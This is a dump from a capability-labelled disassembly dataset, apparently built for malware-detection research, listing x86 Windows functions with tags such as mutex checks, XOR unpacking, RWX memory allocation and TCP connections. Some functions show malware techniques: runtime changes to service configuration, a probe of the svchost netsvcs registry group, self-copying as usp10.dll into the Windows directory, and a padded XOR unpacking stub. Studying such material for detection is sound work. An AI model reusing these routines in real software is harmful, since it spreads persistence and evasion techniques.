joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b36a
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerW
push edi
call esi
push str.OpenServiceW
push edi
mov ebx, eax
call esi
push str.ChangeServiceConfigW
push edi
mov dword [ebp - 8], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [ebp - 0xc], eax
call esi
push str.CloseServiceHandle
push edi
call esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 4], eax
call ebx
mov ebx, eax
cmp ebx, esi
je 0x1000b403
push 0xf01ff
push dword [ebp + 8]
push ebx
call dword [ebp - 8]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x1000b413
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [ebp + 8], eax
call dword [ebp - 4]
cmp dword [ebp + 8], 0x424
jne 0x1000b403
cmp edi, esi
je 0x1000b3fe
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0xfffffffffffffffe
pop eax
jmp 0x1000b445
cmp edi, esi
je 0x1000b40e
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
or eax, 0xffffffff
jmp 0x1000b445
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0x110
push eax
call dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 8]
call dword [ebp - 4]
push ebx
call dword [ebp - 4]
cmp edi, esi
je 0x1000b443
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b7b3
Capabilities:
Check mutex on windows

Disassembly:
mov eax, 0x100135a4
call fcn.1000c73c
sub esp, 0xaf8
push ebx
push esi
push 0x1001b598
xor ebx, ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000b995
cmp eax, 5
je 0x1000b995
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RegOpenKeyExW
push edi
call esi
push str.RegQueryValueExW
push edi
mov dword [ebp - 0x10], eax
call esi
push str.RegCloseKey
push edi
mov dword [ebp - 0x2c], eax
call esi
mov esi, eax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x302]
mov word [ebp - 0x304], bx
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x304]
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov al, byte [ebp - 0x11]
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x28], al
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
push ebx
push ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], ebx
call fcn.1000c0b8
lea eax, [ebp - 0x18]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
call dword [ebp - 0x10]
test eax, eax
jne 0x1000b903
mov eax, 0x800
mov dword [ebp - 0x30], eax
push eax
lea eax, [ebp - 0xb04]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push str.netsvcs
push dword [ebp - 0x18]
call dword [ebp - 0x2c]
push dword [ebp - 0x18]
call esi
cmp word [ebp - 0xb04], bx
lea eax, [ebp - 0xb04]
mov dword [ebp - 0x10], eax
je 0x1000b903
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.1000c0a7
push ebx
push dword [ebp - 0x10]
call sub.MSVCRT.dll_wcschr
inc eax
pop ecx
inc eax
pop ecx
mov dword [ebp - 0x10], eax
cmp word [eax], bx
jne 0x1000b8e2
cmp dword [ebp - 0x24], ebx
jne 0x1000b90c
xor esi, esi
jmp 0x1000b915
mov esi, dword [ebp - 0x20]
sub esi, dword [ebp - 0x24]
sar esi, 2
push 0x31
xor eax, eax
pop ecx
lea edi, [ebp - 0xfa]
mov word [ebp - 0xfc], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xc8
lea eax, [ebp - 0xfc]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [ebp - 0x24]
push esi
push ebx
call fcn.1000a511
add esp, 0x14
push dword [edi + eax*4]
lea eax, [ebp - 0xfc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0xfc]
push eax
call fcn.1000b1b4
test eax, eax
pop ecx
je 0x1000b92b
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.1000b44a
pop ecx
test eax, eax
pop ecx
je 0x1000b92b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10008860
xor eax, eax
pop edi
jmp 0x1000b997
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000bca7
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
push 0x1001b598
xor esi, esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000be49
cmp eax, 5
je 0x1000be49
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x414]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x414]
push str.Comres.dll
push eax
call fcn.10009c83
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
pop ecx
push eax
call ebx
test eax, eax
je 0x1000bd41
lea eax, [ebp - 0x414]
push str.usp10.dll
push eax
call fcn.10009c83
pop ecx
push eax
call ebx
test eax, eax
jne 0x1000be49
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push esi
push 0x10009f04
push esi
push esi
call edi
push esi
push esi
push esi
push 0x1000bb4e
push esi
push esi
call edi
push esi
push esi
push esi
push 0x1000a837
push esi
push esi
call edi
push esi
push esi
push esi
push 0x1000a891
push esi
push esi
call edi
push esi
push esi
push esi
push 0x1000b9d4
push esi
push esi
call edi
push str.GetWindowsDirectoryW
call fcn.10005618
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CopyFileW
mov dword [ebp - 4], eax
call fcn.10005618
push eax
call edi
mov edi, eax
lea eax, [ebp - 0x20c]
push 0x208
push eax
call dword [ebp - 4]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.10009c1e
pop ecx
push eax
call ebx
test eax, eax
je 0x1000be49
lea eax, [ebp - 0x414]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x20c]
push 0x1001bd98
push eax
call ebx
lea eax, [ebp - 0x20c]
push esi
push eax
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x20c]
push eax
call fcn.10009c1e
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push str.usp10.dll
push eax
call ebx
lea eax, [ebp - 0x20c]
push esi
push eax
lea eax, [ebp - 0x414]
push eax
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x2934374b
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x2e673a10
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40321c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004048cc
test esi, esi
jne 0x403252
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004049bc
jmp 0x403270
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403120
mov edi, eax
test esi, esi
je 0x403270
cmp dword [ebx], 0
je 0x403270
dec esi
jmp 0x403259
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403924
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x44c020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4039bc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40399c
xor eax, eax
push ebp
push 0x403995
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4039d8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40399c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x44c020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x44c020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404698
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x44f04c], 0
je 0x4046f9
cmp word [0x44f220], 0xd7b2
jne 0x4046c1
cmp dword [0x44f228], 0
jbe 0x4046c1
mov eax, 0x44f21c
call dword [fcn.0044f238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x44c760
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404720
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x44c02c], 0
jne 0x404715
push 0
push 0x44c758
push 0x44c760
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404850
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x44c030], 0
je 0x404876
mov edx, esi
mov eax, ebx
call dword [0x44c030]
jmp 0x404885
mov eax, 8
call fcn.00402e30
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x44f04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404818
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x405ea8
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4060d8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405f2b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4060d8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405f2b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4060f4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405fb4
xor eax, eax
push ebp
push 0x405fad
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405ce4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405f92
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x406114
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405f92
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405fb4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4060ce
cmp byte [ebp - 0xd], 0
jne 0x405ffb
cmp byte [ebp - 0x12], 0
je 0x4060ce
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x406014
dec ebx
cmp byte [ebx], 0x2e
je 0x406023
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x406013
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4060ce
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406060
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4060ce
cmp byte [ebp - 0xd], 0
je 0x4060ce
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4060ce
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408160
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4081b2
test eax, edx
je 0x4081b5
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x408175
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40819b
add ecx, 4
js 0x40818b
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x408198
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x4081c1
test edx, edx
jne 0x408168
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x408a64
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404d5c
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x408a7d
test al, 0x10
je 0x408a81
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40b494
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b4cd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004049bc
jmp 0x40b4d6
mov eax, ebx
mov edx, esi
call fcn.00404920
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b4e0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b502
movzx eax, byte [esp]
jmp 0x40b504
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bb94
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40ba0c
mov eax, dword [0x44e414]
cmp byte [eax], 0
je 0x40bc10
mov eax, dword [0x44e2a4]
call fcn.00403334
call fcn.00402f8c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408c90
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bc58
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bc46
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x44e26c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4517f8]
call fcn.00405c8c
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40d5f4
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffc00
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.004048cc
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.00404d5c
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
cmp ebx, 0x400
jge 0x40d639
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.004049bc
jmp 0x40d652
mov edx, ebx
dec edx
mov eax, esi
call fcn.00404f90
push ebx
mov eax, dword [esi]
call fcn.00404d5c
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
add esp, 0x400
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40dc04
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404d4c
xor eax, eax
push ebp
push 0x40dd27
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040dd38
xor eax, eax
push ebp
push 0x40dc7e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404d5c
mov dword [ebx + 4], eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x10], eax
mov word [ebp - 0x14], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp - 0x12], ax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40dc92
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40dcaf
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40dd11
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40dcf2
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0x44c9fc
push 0x1006
push 0xffff
mov eax, dword [ebx + 0x10]
push eax
call sub.wsock32.dll_setsockopt
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x10]
push eax
call sub.wsock32.dll_connect
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40dd03
test esi, esi
jge 0x40dd0d
mov byte [ebx + 0xc], 0
jmp 0x40dd11
mov byte [ebx + 0xc], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dd2e
lea eax, [ebp - 4]
call fcn.004048cc
ret

Function at 0x418b80
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004188bc
dec esi
jne 0x418ba2
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x418cf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x453b80
cmp dword [edi], 0
jne 0x418d6c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x453b7c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44caa8
mov ecx, 2
call fcn.00403020
mov edx, 0x418cc8
lea eax, [esi + 5]
call fcn.00418ce8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00418ce8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x418d41
mov dword [0x453b7c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41951c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404d5c
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x419574
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x44e4dc]
mov dl, 1
mov eax, dword [0x419028]
call fcn.0040bd78
call fcn.00404260
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00419130
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41a62c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41a632
ret
Function at 0x423948
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x453c08
cmp dword [edi], 0
jne 0x4239c4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x453c0c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44cfa0
mov ecx, 2
call fcn.00403020
mov edx, 0x423928
lea eax, [esi + 5]
call fcn.00423920
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00423920
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x423999
mov dword [0x453c0c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4281b0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4281de
mov eax, ebx
call fcn.00428c64
cmp dword [ebx + 0x40], 0
je 0x4281d7
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x42824f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x428241
cmp dword [ebx + 8], 0
je 0x428200
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x428212
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x428241
cmp dword [ebx + 8], 0
je 0x4281f3
cmp eax, 3
je 0x428225
dec eax
jne 0x4281f3
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4281f3
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4281f3
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x42826d
cmp dword [ebx + 0x14], 0xcc
je 0x42826d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00428278
pop ebx
ret